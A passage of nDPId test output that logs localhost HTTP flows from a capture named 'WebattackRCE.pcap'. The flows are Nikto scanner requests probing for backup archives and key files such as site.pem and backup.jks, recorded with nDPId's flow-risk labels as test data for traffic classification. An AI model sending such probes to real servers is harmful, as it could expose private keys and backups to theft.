+00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":211,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1576420276999,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49966,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":212,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1576420277000,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49968,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":212,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":212,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":353,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBBihAAEAGNg1\/AAABfwAAAcMwH5BEgD5FJ0MuU4AYAED+tQAAAQEICp1m\/DCdZvwwR0VUIC8xMjcwMC50YXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":212,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1576420277000,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49968,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":213,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":1576420277001,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49970,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00622{"flow_id":213,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":1528,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAM9pAAEAGCFx\/AAABfwAAAcMyH5CilAu7EPfGmYAYAED+tAAAAQEICp1m\/DGdZvwxR0VUIC8xMjcwLnppcCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":213,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":213,"flow_packet_id":1,"flow_first_seen":1576420277001,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49970,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":214,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1576420277002,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49972,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00622{"flow_id":214,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":2675,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAUGZAAEAG689\/AAABfwAAAcM0H5Crr2gHBF6lfIAYAED+tAAAAQEICp1m\/DKdZvwyR0VUIC8xMjcwLnppcCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":214,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1576420277002,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49972,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":215,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":1576420277004,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49974,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00622{"flow_id":215,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":215,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":4349,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBfrVAAEAGvX9\/AAABfwAAAcM2H5AiEUbRArZM2IAYAED+tQAAAQEICp1m\/DSdZvw0R0VUIC8xMjcuMC5hbHogSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":215,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":215,"flow_packet_id":1,"flow_first_seen":1576420277004,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49974,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":216,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1576420277006,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49976,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00622{"flow_id":216,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":6101,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBggJAAEAGujJ\/AAABfwAAAcM4H5AaCbpkhn3rTYAYAED+tQAAAQEICp1m\/DadZvw1R0VUIC8xMjcuMC5hbHogSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":216,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":216,"flow_packet_id":1,"flow_first_seen":1576420277006,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49976,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":217,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1576420277007,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49978,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":217,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":7925,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADC7TtAAEAGTvh\/AAABfwAAAcM6H5D6jdVeqyQPZoAYAED+tgAAAQEICp1m\/DedZvw3R0VUIC9iYWNrdXAuamtzIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":217,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":217,"flow_packet_id":1,"flow_first_seen":1576420277007,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49978,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":218,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1576420277010,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49980,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":218,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":10459,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADChG5AAEAGt8V\/AAABfwAAAcM8H5BcKrwJSZEDE4AYAED+tgAAAQEICp1m\/DqdZvw6R0VUIC9iYWNrdXAuamtzIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":218,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1576420277010,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49980,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.jks","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":219,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1576420277011,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49982,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":219,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":11883,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/sClAAEAGjA1\/AAABfwAAAcM+H5BuqIhDc4THFIAYAED+swAAAQEICp1m\/DudZvw7R0VUIC8xMjcuemlwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":219,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1576420277011,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49982,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":220,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1576420277013,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49984,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":220,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":13435,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/xzVAAEAGdQF\/AAABfwAAAcNAH5BZGv9XO\/ACDYAYAED+swAAAQEICp1m\/D2dZvw9R0VUIC8xMjcuemlwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":220,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1576420277013,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49984,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":221,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":1576420277014,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49986,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":221,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":14889,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAIeRAAEAGGlJ\/AAABfwAAAcNCH5DPShmIhuR59oAYAED+tAAAAQEICp1m\/D6dZvw+R0VUIC9zaXRlLnBlbSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":221,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":1576420277014,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49986,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":222,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":1576420277016,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49988,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00623{"flow_id":222,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":16394,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADA415AAEAGWNd\/AAABfwAAAcNEH5AFlNs7Kigy04AYAED+tAAAAQEICp1m\/ECdZvxAR0VUIC9zaXRlLnBlbSBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":222,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":1576420277016,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49988,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":223,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":1576420277017,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49990,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":223,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":17801,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADConZAAEAGmb1\/AAABfwAAAcNGH5DVgZoTcsiCOoAYAED+tgAAAQEICp1m\/EGdZvxBR0VUIC8xMjcwMDEud2FyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":223,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":1576420277017,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49990,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.war","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":224,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_first_seen":1576420277019,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49992,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 